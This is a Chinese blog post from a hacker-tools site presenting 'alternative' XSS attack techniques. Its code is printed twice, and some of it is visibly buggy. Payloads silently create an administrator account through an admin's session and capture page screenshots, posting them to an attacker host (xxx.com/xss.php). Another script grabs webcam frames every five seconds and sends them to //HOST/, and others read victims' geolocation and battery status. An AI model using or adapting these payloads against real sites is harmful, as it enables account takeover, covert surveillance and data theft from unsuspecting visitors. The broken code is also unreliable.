XSS攻击另类玩法

访客4年前黑客工具505

本文原作者:SecJack


天就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。


1.  xss攻击添加管理员




后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。




无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。




这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。






var request = false;


if(window.XMLHttpRequest) {


    request = new.XMLHttpRequest();


    if(request.overrideMimeType) {


        request.overrideMimeType('text/html');


    }


} else if(Window.ActiveXObject) {


    var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};


    for(var i=0; i<versions.length; i ++){


        try{


            request = new ActiveXObject(versions);


        }catch(e){}


}


}


xmlhttp = request;




add_admin();


function add_admin(){


    var url = "/admin/admin_add_user.php";  //添加用户请求地址


    var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据


    xmlhttp.open("POST",url,true);


    xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")


    xmlhttp.setRequstHeader("Content-length",params.length);


    xmlhttp.setRequstHeader("Connection","close")


    }


var request = false;


if(window.XMLHttpRequest) {


    request = new.XMLHttpRequest();


    if(request.overrideMimeType) {


        request.overrideMimeType('text/html');


    }


} else if(Window.ActiveXObject) {


    var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};


    for(var i=0; i<versions.length; i ++){


        try{


            request = new ActiveXObject(versions);


        }catch(e){}


}


}


xmlhttp = request;


 


add_admin();


function add_admin(){


    var url = "/admin/admin_add_user.php";  //添加用户请求地址


    var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据


    xmlhttp.open("POST",url,true);


    xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")


    xmlhttp.setRequstHeader("Content-length",params.length);


    xmlhttp.setRequstHeader("Connection","close")


    }


2, xss截取客户的屏幕




现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。




这里需要用到一个js库 html2canvas.js






document.write("<script src="html2canvas.js\><\/script>");   




window.onload=function(){


        html2canvas(document.body, {


        onrendered: function(canvas) {




//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post


xhr=function(){


        var request = false;


        if(window.XMLHttpRequest){


                request = new XMLHttpRequest();


        }else if (window.ActiveXObject){


                try{


                        request = new window.ActiveXObject('Microsoft.XMLHTTP');


                }catch(e){




                }


        }




        return request;


}();




request = function(method,src,argv,content_type){


        xhr.open(method,src,false);


        if(method=='POST')xhr.setRequestHeader('Content-type',content_type);


        xhr.send(argv);                                         //发送POST数据


        return xhr.responseText;


};




attack_a = function(){


        var src         = "http://xxx.com/xss.php?";                 //post接收地址


        var argv_0      = "'&screenshot="+canvas.toDataURL();    //post字段名称为screenshot


        request("POST",src,argv_0,"application/x-www-form-urlencoded");


};




attack_a();




                                  }


                                });


                        }


document.write("<script src="html2canvas.js\><\/script>");   


 


window.onload=function(){


        html2canvas(document.body, {


        onrendered: function(canvas) {


 


//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post


xhr=function(){


        var request = false;


        if(window.XMLHttpRequest){


                request = new XMLHttpRequest();


        }else if (window.ActiveXObject){


                try{


                        request = new window.ActiveXObject('Microsoft.XMLHTTP');


                }catch(e){


 


                }


        }


 


        return request;


}();


 


request = function(method,src,argv,content_type){


        xhr.open(method,src,false);


        if(method=='POST')xhr.setRequestHeader('Content-type',content_type);


        xhr.send(argv);                                         //发送POST数据


        return xhr.responseText;


};


 


attack_a = function(){


        var src         = "http://xxx.com/xss.php?";                 //post接收地址


        var argv_0      = "'&screenshot="+canvas.toDataURL();    //post字段名称为screenshot


        request("POST",src,argv_0,"application/x-www-form-urlencoded");


};


 


attack_a();


 


                                  }


                                });


                        }


上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同






<script>


d=document;


v=d.createElement('video');


c=d.createElement('canvas');


c.width=640;


c.height=480;


navigator.webkitGetUserMedia({'video':true},function(s){


v.src=URL.createObjectURL(s);v.play()},function(){});


c2=c.getContext('2d');


x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';


setInterval(x,5000);


</script>


<script>


d=document;


v=d.createElement('video');


c=d.createElement('canvas');


c.width=640;


c.height=480;


navigator.webkitGetUserMedia({'video':true},function(s){


v.src=URL.createObjectURL(s);v.play()},function(){});


c2=c.getContext('2d');


x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';


setInterval(x,5000);


</script>


这两种服务端获取到的post数据包是 base64格式的 ,我们只要进行转码即可看到对方的屏幕截图。




3.xss对移动端的攻击




现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。




这里只针对手机端Firefox浏览器说明。




xss获取对方经纬度代码






<script>




navigator.geolocation.getCurrentPosition(function(p){




alert('Latitude:'+p.coords.latitude+',Longitude:'+


p.coords.longitude+',Altitude:'+p.coords.altitude);})




</script>




<script>


 


navigator.geolocation.getCurrentPosition(function(p){


 


alert('Latitude:'+p.coords.latitude+',Longitude:'+


p.coords.longitude+',Altitude:'+p.coords.altitude);})


 


</script>


xss获取电池状态的代码,这里需要用到JavaScript Battery API






<svg onload=alert(navigator.battery.level)>




<svg onload=alert(navigator.battery.dischargingTime)>




<svg onload=alert(navigator.battery.charging)>




<svg onload=alert(navigator.battery.level)>


 


<svg onload=alert(navigator.battery.dischargingTime)>


 


<svg onload=alert(navigator.battery.charging)>


更多xss猥琐玩法欢迎交流,文章若有错误请留言告知~


标签: XSS玩法

相关文章

王者荣耀亲密度投票奖励一览 亲密度投票活动玩法

王者荣耀亲密度投票奖励一览 亲密度投票活动玩法

王者荣耀亲密度投票活动地址在哪?王者荣耀最近开启了新的活动玩法,这次的新玩法是亲密度投票活动。亲密度投票也算是一个老活动了,玩家们可以通过这次的投票获得新的活动道具五五守护勋章十个,因此本次投票还是非...

闲鱼项目实操分享:小白轻松月入10000+的闲鱼赚钱玩法

闲鱼项目实操分享:小白轻松月入10000+的闲鱼赚钱玩法

今年不少人都感觉互联网氛围越来越严峻,绝大部分平台、项目都趋向于规范化,放眼望去,似乎阳光、正规、合法、长期的项目离自己很遥远。想启动这一类型项目,除非有充足的资金准备或者有强大的资源作为支撑,否则将...

剑与远征冬歌冰原路线推荐 冬歌冰原过关玩法图文攻略

剑与远征冬歌冰原路线推荐 冬歌冰原过关玩法图文攻略

最近玩剑与远征这款游戏的玩家都在问,游戏里面的冬歌冰原怎么过?冬歌冰原虽然是游戏中的一个旧副本,但是对于这个本不熟悉的玩家还是有一定难度,小编我特意整理了相关的资讯,下面就是蚕豆网小编带来的剑与远征冬...

lol云顶之弈10.10斗龙传说阵容玩法 10.10冷门强力阵容推荐

lol云顶之弈10.10斗龙传说阵容玩法 10.10冷门强力阵容推荐

云顶之弈斗龙传说阵容怎么搭配?云顶之弈今天更新了10.10版本,新版本里有很多的阵容出现,其中值得玩家去尝试上分的阵容可能很多玩家都不是很了解,今天小编给大家带来的就是云顶之弈斗龙传说玩法技巧。这套冷...

江南百景图七夕有哪些活动 江南百景图七夕活动玩法攻略

江南百景图七夕有哪些活动 江南百景图七夕活动玩法攻略

江南百景图七夕活动有什么?许多玩家都很想知道,接下来为大家带来江南百景图七夕活动玩法及奖励介绍,希望能够帮助到大家。 江南百景图七夕活动玩法及奖励 一、版本介绍 江南百景图1.2.7版本将于...

剑与远征丰饶深秋活动怎么玩 剑与远征丰饶深秋活动玩法攻略

剑与远征手游最近又曝光了一个全新的活动,很多玩家都很好奇吧,这个新的活动呢,是丰饶深秋活动,这个活动会在剑与远征1.47版本中更新,上线时间是9月15日,也就是明天了,游戏中很多小伙伴不知道丰饶深秋什...